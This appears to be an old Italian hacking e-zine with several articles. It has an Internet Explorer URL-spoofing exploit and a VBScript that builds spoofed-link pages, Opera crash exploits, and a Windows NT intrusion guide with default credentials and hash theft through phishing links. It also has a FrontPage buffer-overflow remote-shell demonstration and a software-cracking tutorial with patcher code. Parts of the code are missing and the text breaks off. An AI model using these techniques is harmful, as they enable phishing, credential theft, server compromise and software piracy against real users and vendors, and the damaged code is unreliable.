quella stupidissima vulnerabilità che Internet Explorer ci permette di studiare questa sera eheheh !! Ma eccoci qui al dunque … insomma non c’è moltissimo da dire riguardo questa vulnerabilità potremmo dire che mette insieme un po’ tutto quello citato sopra in quanto sfrutta un bug di Internet Explorer … funziona su coloro che hanno il java abilitato perché sfrutta proprio la funzione moveBy() e ci permette di creare un attacco di tipo hijack semplicemente clickando il mouse!! Quindi senza perdere troppo tempo ancora in chiacchiere inutili, vi riporto subito un bell’esempio riguardante questa vulnerabilità!! Ok?? ---------------------------------------------------------------------[ Exploit ] Ragazzi l’exploit che vi riporto è solo un esempio di uno dei tanti modi in cui si potrebbe sfruttare questo bug!! Adesso voi cosa dovete fare per provarlo?? È semplice copiate e incollate in un documento.txt e rinominate .htm poi vedete eheheh ==========================================================[taglia qui]========== ==========================================================[taglia qui]========== -----------------------------------------------------------------[ Conclusioni ] E con questo exploit ho terminato il mio articolo … heheeh missione compiuta cel’ho fatta a finirla entra la mezzanotte ma non vi dico che ore sono :p!! alla prossima! Ps ci tengo a precisare che tutti gli esempi riportati in questo text sono facilmente reperibili in rete!! Cyberdude +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- Fallo un Explorer buono | |-- Tailot & Cyberdude | | _________________________________________________________| |____________________/ +-------------------------------------+ [ MENU' ] | | + [ Spiegazione by Tailot ]---------| | + [ Approfondimenti di cyberdude ]--| | + [ VBScript by cyberdude ]---------| +-------------------------------------+ -------------------------------------------------------------------------------- ==[ Spiegazione by Tailot ]===================================================== -------------------------------------------------------------------------------- Adesso voglio essere veloce e conciso, perchè sono molto incaxxato con bill e company. ...... devo dire dopo molte ricerche finalmente ho trovato quello che cercavo....... {BILL STò A PARLà CON TE GRAn FIgl I PULL} Vediamo un po....... lo sapevate che è stata trovata un altra falla a quella caxxata dell' EXPLORER ?????? Ebbene si......adesso vi spiego in modo sintetico in cosa consiste E come le falle precedenti dell'explorer vi darò la mitica stringa MAGICA {sonooooooo un magooooooooo} hiiahaihaiha Allora in pratica creando un bottone con un semplice codice html posso far finta di essere "microsoft.com".....Non ci credete???? Come diceva qualcuno "provare per credere"...... Aprite il vostro caro blocco note.........ed inserite la seguente stringa......... Dopo che avrete inserito il codice html salvete il file in formato htm ed apritelo......vedrete un bottone....cliccateci e vedrete il mio sito, ma guardate un po l'indirizzo hahahahahahha è 'http://www.microsoft.com !!!!! Ok Adesso vi devo proprio salutare.....spero di essere stato kiaro comunque adesso devo andareeeeee ciaooo........ -------------------------------------------------------------------------------- ==[ Approfondimenti di cyberdude ]============================================== -------------------------------------------------------------------------------- Ciao ragazzi… sono cyberdude, a questo punto entro in gioco io eheheh!! Spero vi abbia interessato l’articolo di Tailot! E vorrei ringraziarlo per averci fornito quest’altra vulnerabilità marcata Bill Gates ;p comunque ho deciso di approfondire un po’ (anche se in maniera molto ma molto lieve) l’argomento!! Dunque l’argomento di cui ci ha parlato Tailot è quello che gli americani chiamano URL Obfuscation … eh si ragazzi, gli americani ci arrivano sempre prima di noi!! Eheheh comunque mi sono documentato è da quanto ho capito il problema nasce quando viene riscontrato un valore esadecimale prima del simbolo @ a tale proposito vi riporto l’esempio di Tailot : http://www.microsoft.com%01@tailot.cjb.net Detto questo vi riporto di seguito uno visual basic script … un piccolo regalino da parte mia che sfrutta la vulnerabilità sopra riportata!! Ok?? Mi raccomando usatelo più che altro per studiare qualcosa … poi magari un giorno farete voi un exploit che sfrutta questa vulnerabilità sul modello di questo che vi allego di seguito e me lo mandate!! Eheheh ora vi saluto ciao a tutti -------------------------------------------------------------------------------- ==[ VBScript by cyberdude ]===================================================== -------------------------------------------------------------------------------- Ragazzi tutto quello che dovete fare per utilizzare questo script è copiarlo e incollarlo in un documento di testo che poi andrete a rinominare .vbs =========================================================[TAGLIA QUI]=========== On Error Resume Next PromtStart = "Vuoi creare una pagina web per exploittare Internet Explorer 5.01, 5.5 e 6.0 su Windows" _ & " platforms?" & vbcrlf & "(Oscuratore di URL - Informazionelibera version)" Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"Creatore di pagine web con url oscurato") If Ok2Run = vbyes Then Do While strFileName = "" strFileName = InputBox ("Inserisci il nome della pagina web che vuoi creare","NOME PAGINA","EXPLOIT.HTML") Loop Do While strSpoofSite = "" strSpoofSite = InputBox ("Inserisci il nome del sito che l'utente crede di stare aprendo:","SITO FALSO","www.microsoft.com") Loop Do While strRealSite = "" strRealSite = InputBox ("Inserisci l'indirizzo del sito che si apre realmente :","SITO VERO","www.libero.it") Loop Do While strLinkText = "" strLinkText = InputBox ("Inserisci il testo che vuoi fare apparire nel link:","TESTO DEL LINK","testa l'exploit") Loop Err.Clear CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText If Err.Number = 0 then MsgBox "La pagina web exploit è stata salvata in C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete" Else MsgBox "Errore (" & Err.Description & ")salvando la tua pagina exploit in C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error" Err.Clear End if Else MsgBox "Script cancellato.",vbokonly + vbcritical,"Creatore di pagine web con url oscurato" End If Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText) Set fs = CreateObject("Scripting.FileSystemObject") Set a = fs.CreateTextFile("c:\" & strFileName, True) a.WriteLine("") a.WriteLine("Exploit by Oscuratore di URL Informazionelibera") a.WriteLine("") strExploitLine = "" & strLinkText & "" a.WriteLine(strExploitLine) a.WriteLine("") a.WriteLine("") a.Close End Sub =========================================================[TAGLIA QUI]=========== +-------------------------+ | This tute is powered by | +-------------------------+ | Cyberdude & Tailot | +-------------------------+ | INFORMAZIONELIBERA | | PRODUCTION | +-------------------------+ +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- The phantom of the opera | |-- Dejavu | | _________________________________________________________| |____________________/ ThE pHaNtoM oF tHe OpErA (7) written by [ D e j a v u ] -----[ I n t r o Vediamo un po'...l'ultimo tutorial è stato quello su ie6...mi pare giusto rimanere in tema di browser...e allora oggi parleremo un po' di Opera 7! Ricordo che tutto quello che scrivo è a solo scopo didattico...i codici sono facilemte reperibili "on the net". Molti di voi conosceranno sicuramente il browser Opera, che ultimamente si è distinto dalla miriade di programmini esistenti su internet per le sue qualità, sopratutto in fatto di velocità, avvicinandosi come fetta di mercato ai due "giganti" I.E. e Netscape Navigator. Ma cè un altro dettaglio che fa assomigliare Opera a ie...i bugs :) per l'appunto adesso vi propongo una rassegna di codicini utilizzabili in maliziose pagine html per crashare sistemi che usano Opera. ---[ Versioni vulnerabili Opera (For Windows) [ 7.11b build 2887 ] [ 7.11 build 2880 ] [ 7.10 build 2840 ] [ 7.03 build 2670 (tranne il Code 05) ] Le versioni precedenti la 7.03 non sono state testate ma potrebbero essere ugualmente affette da questi piccoli exploits. -----[ E x p l o i t s ---[ Code 01 Solamente 12 miseri bytes --> "" portano la cpu al consumo del 100% (variabile in base alle specifiche del pc) delle risorse di sistema con conseguente freeze. ---[ Code 02 Con questo code Opera viene killato
---[ Code 03 Abnormal kill come sopra
---[ Code 04 Abnormal kill come sopra
---[ Code 05 Freeze del computer con utilizzo della cpu al 100%
-----[ S o l u t i o n s Per risolvere questi problemi è sufficiente: [ Code 01 ] no solution [ Code 02 ] disabilitare JavaScript [ Code 03 ] disabilitare JavaScript [ Code 04 ] disabilitare JavaScript [ Code 05 ] disabilitare "CSS Author mode" -----[ L a s t - b u t - n o t - t h e - l e a s t Dopo questa prima rassegna di codicini voglio mostrarvi un exploit che tramite una pagina html vi mostra la dir c:\ dell'utente sfruttando una vulnerabilità del file console.html (JavaScript)...basta aprire il file, uploadato su un webserver, con Opera (jscript enabled) e cliccare sul link nella jscript console et voilà! Per evitare il verificarsi di questo spiacevole inconveniente basta, come sempre, disabilitare javascript. ----[ T h e - e n d Siamo alla fine anche di questo tutorialino...vi ripeto che questi xploit non li ho scritti io ma li ho trovati on the net...basta sapere dove cercare, io ho cercato di spiegarveli dopo averli testati sul mio povero pc..in ogni caso vi saluto et alla proxima...see ya [ D e j a v u ] +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- Hacking di Windows NT (parte I) | |-- ErMeS | | _________________________________________________________| |____________________/ Salve a tutti, questo è il mio primo tute e mi preseno sono ErMeS. Da premettere che non c'è scritto nulla di nuovo ma cose che si possono facilmente trovare in rete ma per risparmiarvi un lungo lavoro ve le riporto quì. In questa spece di articolo tratterò di come attaccare un server Windows NT/2000 quindi è d'obbligo un disclaimer: USA QUESTE INFORMAZIONI A TUO RISCHIO E PERICOLO PERCHE' NE IO NE CHI PUBBLICA QUESTO ARTICOLO CI RITERREMO RESPONSABILI PER L'USO, L'ABUSO E L'UTILIZZO DI QUESTO TESTO. Che cosa grande,comunque... Allora ragazzi sia chiara una cosa, questo che mi accingo (mamma che parolone) a scrivere non è tutta farina del mio sacco ma ho peso spunto da alcuni testi trovati in rete. Comunque bando alle ciance e iniziamo. Volevo premettere che sia windows NT che 2000 sono ottimi os (avvolte anche + di linux) anzi vi dirò di + Win2000 non è altro che l'aggiornamento di WinNt quindi le tecniche descritte possono essere provate su entrambi i sistemi; a volte accade che NT è decisamente più soggetto ad attakki hacker per il semplice fatto che ci mette a disposizione un'infinità di servizi e quindi di bug. Cmq... NT non è male come server, beh forse alcune cose la microsoft le poteva evitare vedi l'uso di un algoritmo debole (LM) x la cifratura della pass utente. Ora fermiamoci un attimo e andiamo x ordine, il problema di base di windows NT è che è semplice da usare e da installare, ed è proprio per questo motivo che molti amministratori lasciano gran parte delle impostazioni così come sono di default (a casaccio!) e noi ringraziamo. Allora iniziamo con alcune domande che vi possono sorgere spontanee: 1) Quando ci troviamo davanti un sistema WinNT/2000? La risposta è molto semplice: dipende dalle porte aperte. Vi spiego meglio: se trovate la porta 135 e la 139 aperte è quasi sicuro che sia un sistema WINDOWS (se trovate solo la 139 o è un Win98 o è samba di Unix). 2) Qual'è il nostro obiettivo? E' raggiungere la pass di amministratore rimuovendo le tracce del nostro passaggio e consolidare il potere ottenuto (con backdoor tipo). 3) Qual'è il modo più pratico x entrare in un server con una pass root? Tentare di trovarla x tentativi (tranne alcuni casi). Cmq adesso andiamo sul pratico e partiamo. Facciamo il caso che su un sistema WinNT sia disponibile una sessione NETBIOS (cioè la porta 139) il nostro primo obiettivo è avere dei nomi utenti validi magari il nomeutente (o user che dir si voglia) dell'amministratore: come fare? Per primo controlliamo se ci sono condivisioni attive, e questo lo possiamo fare con Net Use (già a disposizione in windows) inoltre se c'è la porta 139 cerchiamo di vedere le risorse condivise (usate legion x vedere quando un pc condivide risorse); una volta trovata una user le cose si fanno più facili. Facciamo il caso che abbiamo finalmente un nome utente, come ci connettiamo con netbios? Nulla di più facile: nel nostro caro windows abbiamo un'icona che si chiama risorse di rete, clikkiamo su quella, poi trova computer e poi mettiamo un IP e ce lo prendiamo comodamente dall'esplora risorse ovviamente. Però su alcune condivisioni non ci sono pass mentre su altre si; allora vediamo subito un modo facile facile x creare un pò di casino. Usiamo sempre net use la grammatica è questa: c:\>net use \\ippcvittima\nomecondivisione * /user:administrator Utilizzate il nome condivisione che trovate con legion). Il nome condivisione di solito è ADMIN$ o qualcosa tipo [systemdrive]$ cioè tipo C$. Allora usando net use faremo uscire una finestra su windows dove probabilmente ci dirà che la pass è errata (SICURAMENTE). Ma quella cara finestrella ci è comoda x andare più veloce nella ricerda delle pass (per adesso vi mostrerò le tecniche più subdole ma vi assicuro che funzionano). Allora la prima cosa da fare è provare una serie di user e pass note brevemente ve le scrivo: USER, admin, administrator, Arcserve, Test, Lab, Nome.Cognome, Nome_Azienda, tipo Oma_Sud, Backup, Tivoli, Symbiator backupexec. Queste le user più comuni, le pass più comuni invece sono: (Pass vuota), password, administrator, arcserve, backup, test, lab, tivoli, as400, symbiator. <<---------------------------------------->> Ora però vi devo spiegare come funziona il sistema di sicurezza in win NT/2000. I componenti del modello di sicurezza di Windows NT sono: 1) I processi di logon Accettano richieste di logon da parte degli utenti. Essi includono il logon interattivo iniziale e i processi di logon remoto. 2) Local Security Authority (LSA) Assicura all’utente il permesso di accedere al sistema. Esso genera gli access token, gestisce la sicurezza locale, controlla l’auditing e registra i messaggi di audit generati dal SRM (Security Reference Monitor). 3) Security Account Manager (SAM) Gestisce il database degli account. 4) Security Reference Monitor (SRM) Verifica il permesso dell’utente di accedere ad un oggetto e di eseguire una determinata azione. Gli account utente comprendono informazioni utente, appartenenza a gruppi ,informazioni sulla politica di sicurezza. Quando viene creato un account vengono definiti anche i diritti dell’utente nel sistema. Ad ogni account corrisponde un unico SID (identificatore di sicurezza). Quando un utente si collega ,il sottosistema della sicurezza costruisce un oggetto che è permanentemente legato al processo dell'utente. Questo oggetto è chiamato access token che serve come carta d'identità ufficiale del processo ogniqualvolta che cerca di usare una risorsa del sistema. Il token è costituito da vari attributi. Il primo attributo è il Security ID personale dell'utente, un identificatore che generalmente corrisponde al nome di logon dell'utente. Il secondo attributo è il Group IDs, la lista dei gruppi al quale l'utente appartiene. Esiste un piccolo numero di servizi di sistema security sensitive (come creare un token) che sono protetti dall'uso. L’attributo Privileges elenca ognuno di questi servizi speciali che un utente può chiamare. L'utente che crea un oggetto generalmente diviene il suo proprietario e può decidere chi può usarlo. La lista del controllo degli accessi (ACL) di default è una lista iniziale di protezione applicata agli oggetti che l'utente ha creato. L'attributo Primary Group fornisce la capacità di raccogliere gli ID di sicurezza in gruppi per scopi organizzativi. Oltre ai servizi di create, open e query, compare anche un servizio per settare il token. Settare gli attributi in un oggetto è un servizio comune che è fornito per molti oggetti dell'executive NT. Comunque ora non vi stò a scocciare con la descrizione dettagliata perchè non ci servirà a molto. A Noi interessa solo il SAM. Ah ora dimenticavo le pass vengono criptate si chimano hash. <<---------------------------------------->> Dopo questa piccola parentesi continuiamo da dove eravamo rimasti Dei programmi utili ai nostri scopi sono legion e NAT (netbios Auditing tool): legion, come detto, trova le condivisioni e usa un dizionario compilato da noi, nat fa lo stesso ma solo un sistema alla vota invece Legion ha un raggio di scansione più ampio x scoprire le pass vuote. Fortunatamente esistono strumenti come L0phtCrack che consentono di SNIFFARE il traffico di rete: allora come funziona? Lophtcrack (LC) intercetta la pass di un utente che si autentica appunto (lophtcrack è disponibile su http://www.l0pht.com). Un'altra funzione importante di lophtcrack è capace di catturare gli hash delle pass e di crakkarle. Come funziona lo sniffer di LC? Lo sniffer di LC si chiama SMB Packet Capture, questo sniffer resta in ascolto nella rete locale e cattura e trasmette al nostro pc tutte le hash che intercetta. Allora capiamo un pò il funzionamento di cosa succede quando noi ci autentichiamo su un server: WIN NT usa la tecnica del challenge/response, durante la procedura il server invia al client un challenge (sfida) che viene poi cifrato utilizzando come chiave l'hash delle pass dell'utente. Poi il server esegue la cifratura del challenge utillizzando la sua copia dell'hash dell'utente che prende dal SAM e confronta i due valori; se coincidono l'utente è autenticato. Come fa quindi SMB Packet Capture di LC a beccare l'hash? Fa questo dal pakketto catturato LC ricava SOLO il challenge e l'hash dell'utente cifrato eseguendo la cifratura del valore conosciuto del challenge e confrontado il risultato con l'hash cifrato LC è in grado di risalire al valore effettivo dell'hash stesso inssomma è una sorta di Bruceforce. A causa della debolezza di LM (LanManager) che è l'algoritmo secondo il quale avviene la cifratura l'hash viene decifrato in poco tempo. Fatta un pò di teoria andiamo avanti. C'è un giochetto (semplice ma a volte efficace) mandate una email al sistema vittima e includete nella email un URL Del tipo file://vostroip/condivisione/pagina.html e chiunque faccia click su quel collegamento spedirà l'hash della propria pass tentando l'autenticazione al vostro sistema e con lo sniffer di LC è facile bekkarla ovviamente l'email sarà fatta ad hoc e metterete una bella email in html con un link fasullo. Con questo voglio concludere. P.S. nel prossimo numero della e-zine vi spiegherò alcune tecniche. Le mie intenzioni erano quelle di spiegarle ora però ho pensato che fosse stato meglio sapere prima come è strutturato il sistema prima di attaccarlo. Per qualsiasi informazione scrivetemi a giuseppe14@inwind.it +--------------------------------------------------------------[open the file]-+ |[ HACKING ] | |-- Buffer overflow di FrontPage | |-- ErMeS | | _________________________________________________________| |____________________/ Salve a tutti, come avete potuto ben capire dal titolo di questo articolo oggi parlerò di come un buffer owerflow, nel servizio delle estensioni del server di Microsoft FrontPage, può consentire l'esecuzione di codice non autorizzato . Iniziamo col dire che questo bug interessa: Le estensioni del server di Microsoft FrontPage 2000 (anche quelle fornite con Windows 2000/Xp e con Office Xp) Microsoft SharePoint Team Services 2002 Però prima di iniziare indovinate un pò cosa vi tocca leggere? Esatto un bel disclaimer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ L'UTILIZZO QUESTE INFORMAZIONI A TUO RISCHIO E PERICOLO PERCHE' NE IO (ErMeS) NE CHI PUBBLICA QUESTO ARTICOLO (Informazione Libera) CI RITERREMO RESPONSABILI PER L'USO, L'ABUSO E L'UTILIZZO DI QUESTO TESTO. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Cosa sono queste estenzioni? Le estensioni del server di FrontPage (FPSE) sono degli strumenti con i quali è possibile installare in un sito Web. Queste hanno due funzioni principali: consentono all'amministratore di sistema una gestione facilitata del server, quindi permettono l'aggiunta o la modifica dei contenuti e l'esecuzione di altre attività; e permettono a qualsiasi utente di aggiungere funzioni utilizzate di frequente, come il supporto alla ricerca e ai moduli. Queste estensioni del server di FrontPage vengono installate di default come componente di IIS 4.0, 5.0 e 5.1. Tranne in alcuni casi (come ad esempio Windows 2000 Server/Advanced Server/Datacenter) prevedono l'installazione di IIS per impostazione predefinita. ~~~~~~~~~~~~~~~~~~~~~~ Buffer Overflow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dopo questa breve intro alle estenzioni di FrontPage iniziamo con la spiegazione vera e propria. Il primo bug è dovuto ad un buffer owerflow nella funzionalità di debug remoto delle estensioni del server di FrontPage. In questo modo qualsiasi utente può connettersi in modalità remota ad un server sul quale siano in esecuzione queste estensioni di FrontPage e di effettuare il debug di contenuti, sempre da remoto, utilizzando alcuni prodgrammi come Visual Interdev o esegure del codice con i privilegi dell'account LocalSystem (lo chiameremmo root se stessimo parlando di linux o unix). Possimo sfruttare questa vulnerabilità a nostro piacimento inviando una un CEP (Chunked Encoded Post) a fp30reg.dll avendo come risultato un errore del genere: -------------------------------------------------------------------------------- Event Type: Warning Event Source: W3SVC Event Category: None Event ID:37 Description: Out of process application '/LM/W3SVC/1/ROOT' terminated unexpectedly. -------------------------------------------------------------------------------- Ora vi mostro invece come potrebbe essere composto il CEP: == Exploit=================================== [Code Segment] 67D46AD3 mov ecx,dword ptr [ebx+edx+8] 67D46AD7 mov edi,dword ptr [ebx+edx+4] 67D46ADB mov dword ptr [ecx+4],edi [Registers] EAX = 046F83E8 EBX = 00000010 ECX = 58585858 EDX = 05450FEC ESI = 0000000C EDI = 58585858 EIP = 67D46ADB ESP = 0120F648 EBP = 0120F668 [EDX DUMP] 05450FEC 11 00 00 00 58 58 58 ....XXX 05450FF3 58 58 58 58 58 58 58 XXXXXXX 05450FFA 58 58 58 58 58 58 58 XXXXXXX 05451001 58 58 58 58 58 58 58 XXXXXXX 05451008 58 58 58 58 58 58 58 XXXXXXX 0545100F 58 58 58 58 58 58 58 XXXXXXX 05451016 58 58 58 58 58 58 58 XXXXXXX ============================================= Spiegazione: Ora non vi stò a spiegare per filo e per segno l'exploit ma vi dico solo che inviando questo pacchetto faremo in modo che il pacchetto stesso risulterà sotto il controllo di ECX e EDI, con l'unica eccezione che ricorrendo all'istruzione mov dword ptr [ECX+4],EDI obblighiamo l'esecuzione del comando remoto con i privilegi associati all'account IWAM_nomemacchina. ora vi riporto un esempio dell'exploit in esecuzione: == Esempio di Exploit============================= %:\>exploit 192.168.1.63 ** FP30REG.DLL - Ver 4.0.2.5526 - Remote Shell ** . Calling Home: nomemacchina:2000 . Using: 0x---------h as writeable data space . Shellcode Size: 304 bytes . Preparing Exploit Buffer......Ready . Starting Listener On Port: 2000 . Connecting To 192.168.1.63 . Sending Exploit......Exploit Sent . Connection Received Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>whoami IWAM_NOMEMACCHINA C:\WINNT\system32> =================================================== +--------------------------------------------------------------[open the file]-+ |[ CRACKING ] | |-- Crackare Alcohol 120% e patcher | |-- Graftal | | _________________________________________________________| |____________________/ [+]Titolo: Crackare Alcohol 120% e patcher [+]Autore: Graftal [+]Chan IRC: irc.azzurra.org - #Graftal [+]Email: Macro_Six3@hotmail.com ____________ |DiSCLAiMER| Every reference to facts, things or persons (virtual, real or esoteric) are purely casual and involuntary. Any trademark nominated here is registered or copyright of their respective owners. The author of this manual does not assume any responsability on the content or the use of informations retriven from here; he makes no guarantee of correctness, accuracy, reliability, safety or performance. This manual is provided "AS IS" without warranty of any kind. You alone are fully responsible for determining if this page is safe for use in your environment and for everything you are doing with it! Bien bien, direi ke posso cominciare con un bel "We" a tutti :) Iniziamo con il tute va... _______ |iNTRO| Ok, partiamo subito con il dire un paio di cose riguardanti il tute. I nostri obiettivi quest'oggi saranno: 1) Unpackare l'exe di Alcohol 120% 2) Crackare Alcohol 120% 3) Farci un banalissimo patcher, cosi non mettiamo nemmeno mano all' hex editor Vedete quindi che è un tutorial più che facile direi. Vorrei solo rettificare il fatto che non andremo assolutamente a analizzare il codice più dello stretto necessario, nel senso che troveremo i check, li toglieremo e non faremo nient'altro ok? :) Bene, cominciamo seriamente allora. ____________________ |UNPACKiNG: UPX r0x| Per prima cosa, diciamo due parole sul programma: Alcohol 120% è un utilissimo programma che ci permette di creare e masterizzare qualsiasi tipo di file immagine, anche i ccd che fino ad ora CloneCD aveva il monopolio ;) Allora, prendiamo l'eseguibile che si chiama Alcohol.exe e per prima cosa vediamo se è packato oppure no. Anche qui abbiamo molte possibilita per vederlo, un analizzatore di PE per esempio, ma io uso sempre il buon vecchio notepad :) Apriamo quindi l'exe col notepad e vediamo che nelle prime righe di codice, dove sta il PE, leggiamo UPX0 e poco dopo UPX1. Perfetto, è packato con UPX :) Non ci rimane che scaricarci un unpacker (usate google e vedete ke lo trovate in quattro e quattr'otto) e unpackare quindi il file. Una volta fatto ciò, ci troviamo con un exe dal peso di 4,5 mb (contro i 1,4mb di quello packato): mica male eh? :) Bene, vediamo allora di andare ad analizzarlo con un debugger, io usero per questo tute OllyDbg, ma voi sapete che puo andar bene qualsiasi altro debugger. _______________ |LeT'S ReVeRSe!| Apriamo OllyDbg e carichiamo Alcohol.exe che abbiamo appena unpackato. Dobbiamo trovare un punto dal quale partire, quindi facciamo eseguire tramite Olly il prog e nella nag che ci compare clicchiamo sul pulsante Register che sta in basso: appare una DialogBox con Username, Company e Serialnumber. Cerchiamo dal debugger delle chiamate a delle API che prendono il testo da una EditBox come GetDlgItemText per fare un esempio. Fosse per me, vi farei cercare all'infinito, tanto non trovate un bel niente :P Eh si, perché i programmatori si sono sbattuti a creare una funzione tutta loro per prendere il testo, pensa te..:) Quanta fatica che ci mettono a fare i programmi... Comunque sia, noi a livello teorico non sappiamo che funzione prende questo benedetto testo, quindi ci conviene trovare alla svelta un punto d'attacco, che senno facciamo notte :) Bene, aprite intanto IDA e ditegli di disassemblare il file, che per finire del tutto impiega più o meno una vita (eh, 4,5mb non sono pochi). Mettiamo allora un bel bp su ogni chiamata a MessageBox. Mettiamo quindi un serial a caso (basta anche solo 12345678) e clicchiamo sul pulsante OK. In effetti, brekkiamo proprio su MessageBoxA e vediamo subito che nei parametri passati c'è il testo della msgbox d'errore. Risaliamo un po nel codice e vediamo dei riferimenti a variabili che contengono del testo, per esempio Serialno o Info o Company ecc. Ai nostri fini, non serve a nulla :) Piuttosto, dobbiamo cercare la funzione di prima...Da IDA allora andiamo all'inidirizzo della msgbox di errore e risaliamo un po il listato, vediamo che ci sono dei jump condizionati e incondizionati, se ci clicchiamo una volta sopra pero, vediamo che saltano sempre a poche righe dopo, quindi non ci interessano. Continuiamo ancora e...Vediamo una call con un nome molto particolare: :00422461 call @TControl@GetText$qqrv ; TControl::GetText(void) Hehe, abbiamo trovato la nostra funzione, i programmatori l'hanno chiamata: GetText :) Vediamo cosa c'è subito dopo dopo: :00423A38 mov [ebp+var_60], 8 :00423A3E lea edx, [ebp+var_74] :00423A41 mov eax, [ebp+var_4] :00423A44 call sub_401840 :00423A49 test al, al :00423A4B jz loc_423D5D Entrando nella call, vedremo tutto il casino che sta dietro al primo vero check che incontriamo seguendo la strada che parte da GetText (poi scoprirete perché dico "seguendo GetText"). Eh si, infatti basta fare una piccola prova per capirlo, fare in modo che il salto avvenga, e vi ritroverete qualke riga di codice prima della call alla MessageBox di errore. Ergo, noppiamo questo jz :) (servono 6 nop). Puff, pant, ma che difficile! :P Beh, fosse finito qua, sarebbe davvero troppo da lameri, comunque non pensate che ci sia dietro nulla di difficile anche agli altri check! Eh si, perché ora provate, ci viene scritta la msgbox di congratulazioni, ma appena la chiudiamo e ci ritorna alla nag, troviamo ancora la scritta: UN-REGISTERED davanti a user e serial. Ok ok ok, andiamo a cercare allora gli altri check! Prima di qualsiasi altra cosa, bisogna avere le idee chiare, e quindi: Sanbuca Molinari, chiara e decisa! No dai, sto scherzando :P Dicevo, per avere le idee chiare, dobbiamo farci un'idea di cosa fa il programma. Quindi andiamo indietro grazie all'ausilio di IDA fino all'inizio, dove il programma chiama la nag, ovvero: .text:00421E98 _TAboutDlg_GetRegisterInfo proc near ; Ora, scendendo un po con il codice, vediamo: .text:00421F06 call @System@AnsiString@$bdtr$qqrv ; .text:00421F0B mov [ebp+var_64], 8 .text:00421F11 call sub_401CDC .text:00421F16 test al, al .text:00421F18 jz loc_4221F4 Non so a voi, ma andando di intuito, questa cosa mi puzza parecchio :) Se questo salto avviene, il programma non esegue un sacco di istruzioni e di call, quindi facciamo una prova direi, noppiamo il salto e vediamo un po'..Beh, effettivamente, ora quando clicchiamo su OK, non ci scrive più UN- REGISTERED..Bene :)) Abbiamo finit...ma porc! Se clicchiamo su OK ci compare una msgbox di errore (la 2°) che ci dice che questo programma non è trial e ke senza il serial verrà chiuso. Insomma, non è uno shareware, tu prima metti il serial, poi il programma parte. Se avete provato a cliccare su cancel quando ancora non avevate modificato il prog, vi rendevate conto che quella msgbox compare proprio quando si chiude la nag non mettendo un serial o mettendone uno sbagliato. Indi per cui (:P) vediamo di togliere quest'ultimo check, che è facilissimo, proprio come gli altri due. Se abbiamo ancora tenuto il bp sull'API MessageBox abbiamo sicuramente visto che Olly ci poppa. Analizziamo quindi il codice e vediamo che c'è un salto poco prima che ci fa andare a dopo la msgbox di errore...Beh, io non so se sia un trucco obsoleto messo dai programmatori o che cosa, l'unica cosa che so, è che facendo saltare quel jump semplicemente non ci fa vedere la msgbox di errore, ma fa cmq chiudere il programma...quindi vediamo un po bene dalla msgbox in poi: .text:00422C51 call MessageBoxA;2° msgbox di errore .text:00422C56 dec [ebp+var_7C] .text:00422C59 lea eax, [ebp+var_74] .text:00422C5C mov edx, 2 .text:00422C61 call @System@AnsiString@$bdtr$qqrv .text:00422C66 dec [ebp+var_7C] .text:00422C69 lea eax, [ebp+var_70] .text:00422C6C mov edx, 2 .text:00422C71 call @System@AnsiString@$bdtr$qqrv .text:00422C76 .text:00422C76 loc_422C76:;qui c'è il salto "ingannatore" di cui vi parlavo .text:00422C76 ; sub_422594+651j .text:00422C76 dec [ebp+var_7C] .text:00422C79 lea eax, [ebp+var_4] .text:00422C7C mov edx, 2 .text:00422C81 call @System@AnsiString@$bdtr$qqrv .text:00422C86 mov [ebp+var_88], 0 .text:00422C8F .text:00422C8F loc_422C8F:;mentre qua è dove dobbiamo andare! .text:00422C8F mov eax, ebx .text:00422C91 mov edx, [ebp+var_98] .text:00422C97 mov large fs:0, edx .text:00422C9E pop edi .text:00422C9F pop esi .text:00422CA0 pop ebx .text:00422CA1 mov esp, ebp .text:00422CA3 pop ebp .text:00422CA4 retn .text:00422CA4 sub_422594 endp Il salto che ci porta a 00422C8F avviene davvero moooooolto prima, quindi andiamo su nel listato di IDA e vediamo che questo salto si trova qua: :004225EB jnz loc_422C8F Eccolo qua. Dobbiamo farlo saltare sempre, quindi ci serve trasformarlo in un jmp. Armiamoci o di una MINIMA conoscenza di asm oppure usiamo OllyDbg, andando su questo jnz, premendo la barra spaziatrice, modificando SOLO il jnz in jmp e premendo invio, copiandoci gli opcode su un pezzo di carta e successivamente modificando a mano con l'hex editor. La più veloce e sicuramente conoscere un po di asm, è inutile che lo dica...Comunque sia, dobbiamo modificare l'opcode attuale (ovvero 0F859E060000) in E99F060000 un nop (opcode: 90). Facciamolo e...yahoooo, programma bello che crackato e perfettamente funzionante...:)))Vi metto qua il codice sorgente compilato con il dev-cpp 4.8, poi fate voi ;) ------------------------------------cut here----------------------------------- - #include #include #define NOP 0x90 int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow) { FILE *fl_open; char *s,*k; long z,a; if (!(fl_open=fopen("ALCOHOL.EXE","rb"))) { MessageBox(0, "Non posso aprire il file, ricorda di metterlo nella stessa cartella del patcher!", "Errore", MB_OK + MB_ICONHAND); exit(0); } fseek(fl_open,0,SEEK_END); z=ftell(fl_open); fseek(fl_open,0,SEEK_SET); s=k=(char*)malloc(z); if (!k) { MessageBox(0, "Non posso allocare la memoria", "Errore", MB_OK + MB_ICONHAND); exit(0); } while (!feof(fl_open))*(s++)=fgetc(fl_open); *(k+0x2304B)=NOP; *(k+0x2304C)=NOP; *(k+0x2304D)=NOP; *(k+0x2304E)=NOP; *(k+0x2304F)=NOP; *(k+0x23050)=NOP; *(k+0x21518)=NOP; 